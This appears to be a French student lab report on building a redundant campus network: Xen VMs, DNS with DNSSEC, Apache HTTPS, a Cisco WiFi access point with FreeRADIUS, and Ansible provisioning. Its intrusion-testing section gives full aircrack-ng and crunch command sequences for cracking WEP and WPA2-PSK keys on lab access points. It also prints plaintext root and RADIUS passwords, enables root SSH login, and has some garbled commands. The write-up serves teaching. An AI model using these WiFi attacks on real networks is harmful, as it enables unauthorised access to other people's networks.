TP sysres IMA5 2021/2022 G2
Wiki compte-rendu de TP PRA - Aviran Tetia & Robin Lasserye
Sommaire
Sujet
L'objectif de ce TP est de créer un réseau redondé Lien : https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/
Configuration du Réseau physique
[insérer image]
Plan d'adressage
Groupe | VLAN | Réseau IPv4 | Réseau IPv6 | @IPv4 virtuelle | IPv4 6509E (E304) | IPv4 C9200 (E306) | IPv4 ISR4331 (SR52) | SSID | VM |
---|---|---|---|---|---|---|---|---|---|
Andrei / Julien | 10 | 10.00.0.0/16 | 2001:7A8:116E:60B0::0/64 | 10.00.0.250 | 10.00.0.251 | 10.00.0.252 | 10.00.0.253 | Jonquille | Kronenbourg |
Robin / Aviran | 11 | 10.01.0.0/16 | 2001:7A8:116E:60B0::0/64 | 10.01.0.250 | 10.01.0.251 | 10.01.0.252 | 10.01.0.253 | Marguerite | Paixdieu |
Axel / Guillaume | 02 | 10.02.0.0/16 | 2001:7A8:116E:60B0::0/64 | 10.02.0.250 | 10.02.0.251 | 10.02.0.252 | 10.02.0.253 | Pensee | Kasteel |
Selim / Raphael | 03 | 10.03.0.0/16 | 2001:7A8:116E:60B0::0/64 | 10.04.0.250 | 10.03.0.251 | 10.03.0.252 | 10.03.0.253 | Lavende | Karmeliet |
Helene / Camille | 04 | 10.04.0.0/16 | 2001:7A8:116E:60B0::0/64 | 10.03.0.250 | 10.04.0.251 | 10.04.0.252 | 10.04.0.253 | Tulipe | |
Boris / Louis | 05 | 10.05.0.0/16 | 2001:7A8:116E:60B0::0/64 | 10.05.0.250 | 10.05.0.251 | 10.05.0.252 | 10.05.0.253 | Rose | Bellerose |
Johnny / Arthur | 06 | 10.06.0.0/16 | 2001:7A8:116E:60B0::0/64 | 10.06.0.250 | 10.06.0.251 | 10.06.0.252 | 10.06.0.253 | Orchidee | Anosteke |
Mel / Theo | 07 | 10.07.0.0/16 | 2001:7A8:116E:60B0::0/64 | 10.07.0.250 | 10.07.0.251 | 10.07.0.252 | 10.07.0.253 | Tournesol | |
Khalil / Alvare | 08 | 10.08.0.0/16 | 2001:7A8:116E:60B0::0/64 | 10.08.0.250 | 10.08.0.251 | 10.08.0.252 | 10.08.0.253 | Lys | |
SOuleyman / Enoch | 09 | 10.09.0.0/16 | 2001:7A8:116E:60B0::0/64 | 10.09.0.250 | 10.09.0.251 | 10.09.0.252 | 10.09.0.253 | Pissenlit | |
Clement | 110 | 10.10.0.0/16 | 2001:7A8:116E:60B0::0/64 | 10.10.0.250 | 10.10.0.251 | 10.10.0.252 | 10.10.0.253 | Coquelicot |
Table du VLAN 42
Groupe | @IPv4 MV | @IPv6 MV (auto) |
---|---|---|
Andrei / Julien | 193.48.57.176 | |
Robin / Aviran | 193.48.57.177 | |
Axel / Guillaume | 193.48.57.178 | |
Selim / Raphael | 193.48.57.179 | |
Helene / Camille | 193.48.57.180 | |
Boris / Louis | 193.48.57.181 | |
Johnny / Arthur | 193.48.57.182 | |
Mel / Theo | 193.48.57.183 | |
Khalil / Alvare | 193.48.57.184 | |
SOuleyman / Enoch | 193.48.57.185 | |
Clement | 193.48.57.186 |
Note :
à compléter
Entité | Élève | Domaine | 193.48.57.176/28 | 10.60.0.0/16 | 2001:660:4401:60B0::/60 | 2001:7A8:116E:60B0::/60 | VLAN | VLAN WIFI | N° VRRP | SSID n°1 | SSID n°2 |
---|---|---|---|---|---|---|---|---|---|---|---|
ROUTEUR E304 | 193.48.57.187 | :: :F0 | :: :F0 | 10.NN.00.250 | |||||||
ROUTEUR E306 | 193.48.57.188 | :: :F1 | :: :F1 | 10.NN.00.251 | |||||||
ROUTEUR SR52 | 193.48.57.189 | :: :F2 | :: :F2 | 10.NN.00.252 | |||||||
ROUTEUR FLOTTANTE | 193.48.57.190 | :: :F3 | :: :F3 | 10.NN.00.253 | |||||||
Vlan INTERCO 531 INTERCO-SA | 192.168.222.40/29 | fe80::/10 ::1 | fe80::/10 ::1 | 10.NN.00.253 | |||||||
Vlan INTERCO E304 | 192.168.222.42/29 | fe80::/10 ::1 | fe80::/10 ::1 | ||||||||
Vlan INTERCO E306 | 192.168.222.43/29 | fe80::/10 ::2 | fe80::/10 ::2 | ||||||||
Vlan INTERCO SR53 | 192.168.222.44/29 | fe80::/10 ::3 | fe80::/10 ::3 |
- Plan d'adressage IPv4 :
VLAN | Nom | Réseau IPv4 | Cisco 6509-E | Cisco 9200 | Cisco ISR 4331 | Routeur plateforme maths/info | PA Wifi n°1 | PA Wifi n°2 |
---|---|---|---|---|---|---|---|---|
- Plan d'adressage IPv6 :
VLAN | Nom | Réseau IPv6 | Cisco 6509-E | Cisco 9200 | Cisco ISR 4331 | Routeur plateforme maths/info | PA Wifi n°1 | PA Wifi n°2 |
---|
Configuration des Machines Virtuelles
On se connecte en ssh à capbreton :
ssh root@capbreton
Nous incluons le proxy de polytech dans nos variables d'environnement:
export http_proxy=http://proxy.plil.fr:3128
Nous procédons ensuite la création de la machine virtuelle, pour cela nous allons saisir les informations suivantes: le nom de la machine (ici Paixdieu), l'adresse IP (--ip) qui nous a été fourni durant la répartition des IP, l'adresse IP du routeur de la salle E306 (--gateway) et le masque du réseau correspondant à un /28 (--netmask) (le /27 étant divisé entre les deux classes), l'emplacement de nos disques virtuels (--dir), le mot de passe de la machine virtuel (---password) puis le type de distribution souhaitée, ici nous avons choisi Debian Bullseye (--dist).
xen-create-image --hostname=Paixdieu --ip=193.48.57.177 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye
Ensuite, nous avons créé deux LV, chacun de 10 Go sur le groupe de volume de stockage:
lvcreate -L10G -n Paixdieu1 storage lvcreate -L10G -n Paixdieu2 storage
Puis nous les avons formatés au format ext4 de la manière suivante:
mkfs.ext4 /dev/storage/Paixdieu1 mkfs.ext4 /dev/storage/Paixdieu2
nous modifions ensuite notre fichier "/etc/xen/Paixdieu.cfg" pour préciser l'ajout les volumes logiques Paixdieu1 et Paixdieu2, de plus on ajoute le bridge IMA5sc dans la fonction vif. Pour cela on ajoute les lignes suivantes:
# # Disk device(s). # root = '/dev/xvda2 ro' disk = [ 'file:/usr/local/xen/domains/Paixdieu/disk.img,xvda2,w', 'file:/usr/local/xen/domains/Paixdieu/swap.img,xvda1,w', 'phy:/dev/storage/Paixdieu1,xvda3,w', 'phy:/dev/storage/Paixdieu2,xvda4,w' ] # # Physical volumes # # # Hostname # name = 'Paixdieu' # # Networking # vif = [ 'ip=193.48.57.177 ,mac=00:16:3E:95:13:AE ,bridge=IMA5sc' ]
Nous lancons la machine virtuelle:
xl create -c /etc/xen/Paixdieu.cfg
Nous ajoutons les répertoires liés à xvda3 et vxda4 pour y placer /home et /var:
mkdir /mnt/xvda3 mkdir /mnt/xvda4 mount /dev/xvda3 /mnt/xvda3 mount /dev/xvda4 /mnt/xvda4
Nous y déplaçons le répertoire /var/ dans xvda4:
mv /var/* /mnt/xvda4
Pour monter les disques, nous modifions les lignes suivantes dans /etc/fstab:
proc /proc proc defaults 0 0 devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0 /dev/xvda1 none swap sw 0 0 /dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1 /dev/xvda3 /home ext4 defaults 0 2 /dev/xvda4 /var ext4 defaults 0 2
Puis nous lancons la commande de montage:
mount -a
Nous obtenons les partitions suivantes:
lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT xvda1 202:1 0 512M 0 disk [SWAP] xvda2 202:2 0 4G 0 disk / xvda3 202:3 0 10G 0 disk /home xvda4 202:4 0 10G 0 disk /var
Pour finir nous activons l'IPv6 dans l'interface en ajoutant les lignes suivantes dans /etc/network/interfaces:
# This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5). # The loopback network interface auto lo iface lo inet loopback # The primary network interface auto eth0 iface eth0 inet static address 193.48.57.177 gateway 193.48.57.190 netmask 255.255.255.240 iface eth0 inet6 auto # post-up ethtool -K eth0 tx off # # The commented out line above will disable TCP checksumming which # might resolve problems for some users. It is disabled by default
Nous effectuons les commandes suivantes pour appliquer les changements:
systemctl restart networking ip a
Et nous obtenons les résultats comme ça:
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 00:16:3e:95:13:ae brd ff:ff:ff:ff:ff:ff inet 193.48.57.177/28 brd 193.48.57.191 scope global eth0 valid_lft forever preferred_lft forever inet6 2001:7a8:116e:60b0:216:3eff:fe95:13ae/64 scope global dynamic mngtmpaddr valid_lft 2591995sec preferred_lft 604795sec inet6 fe80::216:3eff:fe95:13ae/64 scope link valid_lft forever preferred_lft forever
Puis nous quittons la VM avec CTRL + [
Pour y retourner:
xen console Paixdieu
Pour retourner sur sa machine virtuelle, il faut :
- retourner sur capbreton
ssh root@capbreton
- Relancer la VM (login : root | password : glopglopglop):
xl create -c /etc/xen/Paixdieu.cfg
Nous avons configuré la résolution de noms dans /etc/network/interfaces, en ajoutons la ligne suivante :
# This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5). # The loopback network interface auto lo iface lo inet loopback # The primary network interface auto eth0 iface eth0 inet static address 193.48.57.177 gateway 193.48.57.190 netmask 255.255.255.240 dns-nameservers 8.8.8.8 8.8.4.4 iface eth0 inet6 auto
Puis nous avons vérifié son fonctionnement à l'aide d'un :
ping www.google.com ... --- www.google.com ping statistics --- 5 packets transmitted, 5 received, 0% packet loss, time 4005ms
Configuration du SSH
Dans /etc/ssh/sshd_config, ajout des lignes :
Port 2223 PermitRootLogin yes
Puis :
> systemctl restart ssh > systemctl status ssh ssh.service - OpenBSD Secure Shell server Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: e> Active: active (running) since Mon 2021-11-29 14:47:49 UTC; 2s ago Docs: man:sshd(8) man:sshd_config(5) Process: 3679 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS) Main PID: 3680 (sshd) Tasks: 1 (limit: 230) Memory: 1.3M CPU: 21ms CGroup: /system.slice/ssh.service `-3680 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
Puis nous testons le SSH depuis le terminal de la Zabeth :
> ssh root@193.48.57.177 -p 2223 password : glopglopglop
Nous arrivons à nous connecter, la configuration du SSh est donc un succès.
Configuration du DNS
On a installé le package bind9 :
>apt install bind9
Sur le site gandit.net, nous avons modifié :
Fenêtre Glue Records : ns1.paixdieu.site | 193.48.57.177
Fenêtre Serveurs de noms :
DNS Primaire : ns1.paixdieu.site | DNS Secondaire : ns6.gandi.net Note : Après avoir constaté que le serveur secondaire ne se mettait pas à jour après chaque "notify" du serveur primaire, nous avons finalement choisi d'utiliser le serveur ns1.belle-rose.site en tant que serveur secondaire.
Dans le fichier /etc/resolv.conf, ajout de la ligne :
nameserver 127.0.0.1
Afin de configurer le DNS par defaut.
Puis nous passons à la configuration du DNS primaire : On ajoute donc une zone lié à notre domaine paixdieu.site de type master et le chemin de son fichier de configuration et on permet les transferts d'informations avec le DNS secondaire ns6.gandi.net.
On ajoute donc les lignes suivantes dans /etc/bind/named.conf.local:
>vim /etc/bind/named.conf.local zone "paixdieu.site" { type master; file "/etc/bind/db.paixdieu.site"; };
Nous avons séparés configuration des serveurs autorisés à dupliqué nos zones de la config de nos zones en insérant les acl suivantes dans le fichier /etc/bind/named.conf.
options {
directory "/var/cache/bind"; dnssec-validation auto;
dnssec-enable yes;
dnssec-lookaside auto; listen-on-v6 { any; }; allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" { 217.70.177.40; //@ de ns6.gandi.net mais plus utilisé au final 193.48.57.181; //@ de ns1.belle-rose.site };
Puis nous configurons la zone paixdieu.site, pour cela on ajoute les ns. On ajoute les lignes suivantes dans /etc/bind/db.paixdieu.site:
>vim /etc/bind/db.paixdieu.site @ IN SOA ns1.paixdieu.site. postmaster.paixdieu.site. ( 4 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns1.paixdieu.site. @ IN NS ns1.belle-rose.site. ns1 IN A 193.48.57.177 www IN A 193.48.57.177
Pour tester le bon fonctionnement du serveur DNS, nous utilisons la commande :
>host -t any paixdieu.site localhost
Résultat, cela fonctionne bien :
Using domain server: Name: localhost Address: 127.0.0.1#53 Aliases: paixdieu.site has SOA record ns1.paixdieu.site. postmaster.paixdieu.site. 4 604800 86400 2419200 604800 paixdieu.site name server ns1.belle-rose.site. paixdieu.site name server ns1.paixdieu.site.
HTTPS / Certificat SSL
Nous avons ensuite procéder à la création des certificats SSL. Nous sommes donc aller sur Gandi, acheter un certificat. Pour cela nous avons généré un CSR avec la commande :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout paixdieu.site.key -out paixdieu.site.csr
-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.
-keyout paixdieu.site.key permet de sauvegarder le fichier de clé privée sous le nom "paixdieu.site.key".
-out paixdieu.csr permet de sauvegarder le fichier CSR sous le nom "paixdieu.csr".
Lors du paramètrage, nous avons bien fait attention à rentrer "paixdieu.site" comme common name pour que le certificat soit validé par gandi. Cela se fait en copant le contenu de paixdieu.site.csr dans la fenêtre correspondante lors de l'achat du certificat.
Afin de bien sauvegarder les fichiers utilisés, nous les avvons sauvegarder dans le dossier suivant:
~/save_dns/paixdieu.site.csr ~/save_dns/paixdieu.site.key
4.4 Sécurisation de serveur DNS par DNSSEC
Activer DNSSEC
Dans /etc/bind/named.conf.options on ajoute les lignes :
dnssec-validation yes; dnssec-enable yes; dnssec-lookaside auto;
On crée un répertoire /etc/bind/paixdieu.site.dnssed/ On crée la clef asymétrique de signature de clefs de zone
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZO4.4 Sécurisation de serveur DNS par DNSSECNE paixdieu.site
On crée la clef asymétrique de la zone pour signer les enregistrements
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE paixdieu.site
On renomme les clés :
Ensuite, on crée la clé asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE paixdieu.site
On renomme les clés :
mv Kpaixdieu.site.+005+17429.key paixdieu.site-ksk.key mv Kpaixdieu.site.+005+17429.private paixdieu.site-ksk.private mv Kpaixdieu.site.+005+28633.key paixdieu.site-zsk.key mv Kpaixdieu.site.+005+28633.private paixdieu.site-zsk.private
On les inclue à la suite de /etc/bind/db.paixdieu.site
$include /etc/bind/paixdieu.site.dnssec/paixdieu.site-ksk.key $include /etc/bind/paixdieu.site.dnssec/paixdieu.site-zsk.key
Puis incrémente le numéro de série (5=>6)
On signe des enregistrements de la zone
dnssec-signzone -o paixdieu.site -k paixdie4.4 Sécurisation de serveur DNS par DNSSECu.site-ksk ../db.paixdieu.site paixdieu.site-zsk
Prise en compte du fichier signé
On modifie le fichier /etc/bind/named.conf.local de la manière suivante :
zone "paixdieu.site" {
type master; file "/etc/bind/db.paixdieu.site.signed"; allow-transfer {217.70.177.40; };
};
Pour finir, nous allons sur gandi.net, sur notre nom de domaine dans DNSSEC et nous ajoutons les deux clefs (zsk et ksk avec l'algorithme 5 (RSA/SHA-1). Et nous vérifions la bon fonctionnement du DNSSEC de la manière suivante :
> dnssec-verify -o paixdieu.site db.paixdieu.site.signed
Loading zone 'paixdieu.site' from file 'db.paixdieu.site.signed'
Verifying the zone using the following algorithms: - RSASHA1 Zone fully signed: Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked ZSKs: 1 active, 0 stand-by, 0 revoked
4.3 Sécurisation de site web par certificat
On active le module SSL
a2enmod ssl
On configure le port 443 pour l'HTTPS en remplaçant dans le fichier /etc/apache2/ports.conf :
Listen 80 <IfModule ssl_module> Listen 443 </IfModule>
par
<IfModule mod_ssl.c> Listen 443 </IfModule>
On place paixdieu.site.key /etc/ssl/private/ et paixdieu.site.crt /etc/ssl/certs/
On crée les liens symboliques pour les certificats
> c_rehash /etc/ssl/certs Doing /etc/ssl/certs WARNING: Skipping duplicate certificate ca-certificates.crt WARNING: Skipping duplicate certificate ca-certificates.crt
On cofigure apache en ajoutant la ligne suivante dans le fichier /etc/apache2/apache2.conf :
ServerName paixdieu.site
On crée le fichier de configuration custom /etc/apache2/sites-available/000-paixdieu.site-ssl.conf :
<VirtualHost *:80> ServerName paixdieu.site ServerAlias www.paixdieu.site ServerAdmin webmaster@localhost DocumentRoot /var/www/html Redirect permanent / https://paixdieu.site/ </VirtualHost> <VirtualHost *:443> ServerAdmin webmaster@localhost ServerName paixdieu.site ServerAlias www.paixdieu.site DocumentRoot /var/www/html SSLEngine on SSLCertificateFile /etc/ssl/certs/paixdieu.site.crt SSLCertificateKeyFile /etc/ssl/private/paixdieu.site.key ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost>
Puis nous activons le site ssl :
a2ensite 000-paixdieu.site-ssl
Nous arrivons bien à nous connecter à https://www.paixdieu.site Et un test avec openssl nous renvoie le résultat suivant :
CONNECTED(00000003) Can't use SSL_get_servername depth=0 CN = paixdieu.site verify error:num=20:unable to get local issuer certificate verify return:1 depth=0 CN = paixdieu.site verify error:num=21:unable to verify the first certificate verify return:1 depth=0 CN = paixdieu.site verify return:1 --- Certificate chain 0 s:CN = paixdieu.site i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2 --- Server certificate -----BEGIN CERTIFICATE----- [...] -----END CERTIFICATE----- subject=CN = paixdieu.site issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2 ---
Architecture réseau
L'architecture générale
Les réseaux virtuels
Le routage du site (IPv4)
Le routage du site (IPv6)
[insérer résumé]
Tests d'intrusion
5.2 Cassage de clef WEP d’un point d’accès WiFi
Pendant que l'infrastructure réseau était en train d'être configurée, nous avons testé de casser une clé wep.
Commandes réalisées sur un eeePC sous Linux :
Récupération du nom de l'interface réseau WiFi du eeePC:
ip a
On trouve : wlx40a5ef0f68cb
Mettre la carte réseau WiFi en mode monitor sur le channel 4:
airmon-ng start wlx40a5ef0f68cb 4
Après cette étape, il est possible que la carte réseau soit renommée par airmon-ng en wlan0mon.
Vérification que celle-ci est bien en mode monitor :
iwconfig
Ecouter les beacon WiFi sur cette carte réseau :
airodump-ng wlan0mon
De cette écoute , nous choisissons l'AP nommé cracotte09 avec le BSSID : 04:DA:D2:9C:50:58
Nous simulons l'authentification sur cet AP :
aireplay-ng -9 -e cracotte09 -a 04:DA:D2:9C:50:58' wlan0mon
-9 : mode injection -e cracotte09 : nom du point d'accès -a 04:DA:D2:9C:50:58 : bssid du point d'accès
Nous récupérons ensuite un nombre de frames conséquent émis par cet access point :
aireplay-ng -1 0 -e cracotte09 -a 04:DA:D2:9C:50:58 -h 40:A5:EF:01:28:D0 wlan0mon
-1 : mode "fake authentification" 0 : délai entre les demandes d'authentifications -h 40:A5:EF:01:27:D0 : bssid de l'interface réseau
Résultat :
5.3 Cassage de clef WPA2-PSK d’un point d’accès WiFi
Maintenant nous choisissions kracotte5 comme victime à l'aide du groupe de commande précédentes, c'est à dire :
airmon-ng start wlx40a5ef0f68cb 4
airodump-ng wlan0mon
Une fois que nous avons trouvé la victime (kracotte 5 ainsi que son BSSID), nous tentons de récupérer un handshake provenant de ce point d'accès et nous le stockons dans un fichier psk :
airodump-ng -c 4 --bssid 44:AD:D9:5F:87:04 -w psk wlan0mon
Nous installons ensuite un utilitaire pour générer le dictionnaire de clé WPA2-PSK qui sera utilisé par aircrack-ng pour se connecter au point d'accès wifi kracotte5 :
apt-get install crunch
Pour installer cette utilitaire nous pouvons relier l'eeePc au réseau de l'école à l'aide du deuxième câble ethernet disponnible à l'arrière des zabeth :
Une fois installé nous pouvons générer le dictionnaire :
crunch 8 8 0123456789 -o password.lst
Une fois généré, nous pouvons lancer la précédure de crackage (qui peut être très longue) :
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:04 psk*.cap
5.5 Intrusion sur un serveur d’application Web Fichier:Wiki intrusion 5.5.zip
Configuration point d'accès WiFI
Configuration du point d'accès WiFi E304 (primaire) :
Installation de minicom sur macos :
brew install minicom
Récupération du nom du point d'accès connecté en USB (mac Os):
ls /dev/cu*
On obtient (en branchant et débranchant on identifie l'appareil qui apparait):
/dev/cu.usbserial-FTB3OOLY
Configuration du routeur WiFi :
minicom -os
Configuration à ajouter :
Nom de device : /dev/cu.usbserial-FTB3OOLY Baudrate : 9600 8N1
Sources : - https://wiki-ima.plil.fr/mediawiki//index.php/TP_sysres_IMA5_2021/2022_G6 - https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau006.html#sec29
enable => Passer en root (mdp : Cisco si par défaut) conf t hostname wifi-ima5sc-e304 => (optionnel) on donne un nom à notre point d'accès ip domain-name plil.info => ajoute un nom de domaine (utilisé pour la création de certificats)
Activation du ssh :
crypto key generate rsa general-keys modulus 2048 => Génération clés publique/privée ip ssh version 2 => Activation ssh
Configuration de l'authentification sur le point d'accès :
aaa new-model aaa authentication login eap_marguerite group radius_marguerite radius-server host 193.48.57.177 auth-port 1812 acct-port 1813 key secret_marguerite aaa group server radius radius_marguerite server 193.48.57.177 auth-port 1812 acct-port 1813
Configuration du SSID :
conf t dot11 ssid SSID_MARGUERITE vlan 11 authentication open eap eap_marguerite authentication network-eap eap_marguerite authentication key-management wpa mbssid guest-mode exit exit
Association du SSID à l'interface Wi-Fi :
conf t interface Dot11Radio0 encryption vlan 11 mode ciphers aes-ccm tkip ssid SSID_MARGUERITE mbssid exit exit
Configuration du Vlan 11 :
conf t interface Dot11Radio0.11 encapsulation dot1Q 11 no ip route-cache bridge-group 11 bridge-group 11 subscriber-loop-control bridge-group 11 spanning-disabled bridge-group 11 block-unknown-source exit exit
Configuration interface filaire :
conf t interface GigabitEthernet0.11 encapsulation dot1Q 11 bridge-group 11 exit exit
Configuration de l'IP du point d'accès et sa Gateway (n'est pas à faire par tous les groupes) :
conf t ip default-gateway 10.1.0.2 interface BVI 1 ip address 10.1.0.4 255.255.255.0 exit exit
Configuration du routeur en e304 :
Configuration du VLAN1 :
conf t interface vlan 1 ip address 10.1.0.2 255.255.255.0 exit exit
Configuration du port sur lequel est branché l'AP en mode trunk :
conf t interface Gi4/2 switchport switchport mode trunk switchport trunk allowed vlan add 1 exit exit
Serveur FreeRadius
Installation de freeRADIUS
apt install freeradius
On commence par configurer /etc/freeradius/3.0/clients.conf
à détailler
client marguerite { ipaddr = 10.1.0.4/24 secret = secret_marguerite }
ensuite /etc/freeradius/3.0/mods-enabled/eap
eap { [...] default_eap_type = peap }
puis /etc/freeradius/3.0/users
[...] root Cleartext-Password := "glopglop"
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug freeradius -X
(après avoir au préalable stoppé le processus)
Ferme de serveurs Web
Installation VM xen :
xl create -c /etc/xen/pra-07.cfg
Configuration IP :
Dans /etc/network/interfaces :
# The primary network interface auto eth0 iface eth0 inet static address 172.26.145.102 netmask 255.255.255.0 gateway 172.26.145.254
Vérifier si on a bien la passerelle par défaut de configurer
ip r
On peut pinger le routeur :
ping 172.26.154.254
Mais pas les addresses ipv4 routée :
ping 8.8.8.8 échoue
Redémarage service networking
service networking restart
Si ça n'est pas suffisant :
ifdown eth0 ifup eth0
Dans /etc/ssh/sshd_config :
PermitRootLogin yes
Redémarage service ssh export http_proxy=http://proxy.plil.fr:3128
service sshd restart
Création d'une clé ssh sur la zabeth et ajout de cette clé dans les clés autorisées de la vm de pra :
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "aviran.tetia@polytech-lille.net" -P ""
On copie le contenu de la clé crée :
cat ~/.ssh/id_ed25519.pub
On colle son contenu dans les clé authorisées de la VM (fichier ~/.ssh/authorized_keys) :
cat ~/.ssh/authorized_keys ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDZfT1XxI7Zmqd07dup81hztaYKwLLapjhORHWmxUUCJ aviran.tetia@polytech-lille.net
Correction de la source list de la VM pour pouvoir utiliser apt correctement :
On remplace les deux dernières lignes par :
deb http://security.debian.org/debian-security bullseye-security main contrib non-free deb-src http://security.debian.org/debian-security bullseye-security main contrib non-free
Installation de python sur la VM :
apt update apt install python3
Création d'un venv pour l'éxecution :
python3 -m venv ~/env-ansible . ~/env-ansible/bin/activate pip3 install -U setuptools wheel pip3 install -U ansible
On crée l'arborescence suivante :
└── roles ├── base │ ├── tasks │ │ └── main.yml │ └── templates │ ├── hostname.j2 │ └── hosts.j2 └── ssh_key ├── tasks │ └── main.yml └── templates └── keys.j2
Dans main.yml :
- name: "Setup sshkeys" template: src: keys.j2 dest: /root/.ssh/authorized_keys owner: root group: root mode: "0600"
/!\ ne pas mettre de tabulation dans ce fichier, uniquement des espaces
Dans keys.j2 :
{% for item in ssh_keys %} {{ item.key }} {% endfor %}
Ajout d'une clef dans les variables de groupe group_vars/all.yaml :
ssh_keys: # if you don't install this i won't be able to get into your nodes to help you debug :) - name: tmaurice@thonkpad key: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPrw78OSJACq5MFXHrhAr2bPpnTNxwLE85mzij8gKmCs thomas@thonkpad # add more keys here - name: aviran.tetia@polytech-lille.net key: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDZfT1XxI7Zmqd07dup81hztaYKwLLapjhORHWmxUUCJ aviran.tetia@polytech-lille.net
Puis lancer la commande :
ansible-playbook -v -i inventory polytech.yaml
Vérification dans le fichier /root/.ssh/authorized_keys :
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPrw78OSJACq5MFXHrhAr2bPpnTNxwLE85mzij8gKmCs thomas@thonkpad ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDZfT1XxI7Zmqd07dup81hztaYKwLLapjhORHWmxUUCJ aviran.tetia@polytech-lille.net
Nous obtenons bien toutes nos clefs ssh.
Ajout des var d'environement pour pouvoir installer docker :
export http_proxy=http://proxy.plil.fr:3128 export https_proxy=http://proxy.plil.fr:3128
Installation du rôle Docker :
ansible-galaxy install geerlingguy.docker
Puis dans polytech.yml :
- hosts: all roles: ... - geerlingguy.docker
Après ré-execution du playbook, nous pouvons vérifier que Docker est bien installé :
docker -v
Installation du Pare-feu :
source : https://wiki-ima.plil.fr/mediawiki//index.php/TP_sysres_IMA5_2021/2022_G6
- création de roles/iptables/tasks/main.yml :
---
- name: Allow ports INPUT tcp iptables: chain: INPUT protocol: tcp destination_port: "{ { item } }" jump: ACCEPT ctstate: NEW,ESTABLISHED loop: "{ { iptables_accepted_tcp_ports } }"
- name: Allow ports INPUT udp iptables: chain: INPUT protocol: udp destination_port: "{ { item } }" jump: ACCEPT ctstate: NEW,ESTABLISHED loop: "{ { iptables_accepted_udp_ports } }"
- name: Set the policy for the INPUT chain to DROP ansible.builtin.iptables: chain: INPUT policy: DROP
- Cration du fichier de variables :
iptables_accepted_tcp_ports: - 8600 - 8500 - 8501 - 8502 - 8301 - 8302 - 8300 - 22 - 80 - 443
iptables_accepted_udp_ports: - 8600 - 8301 - 8302 - 22 - 80 - 443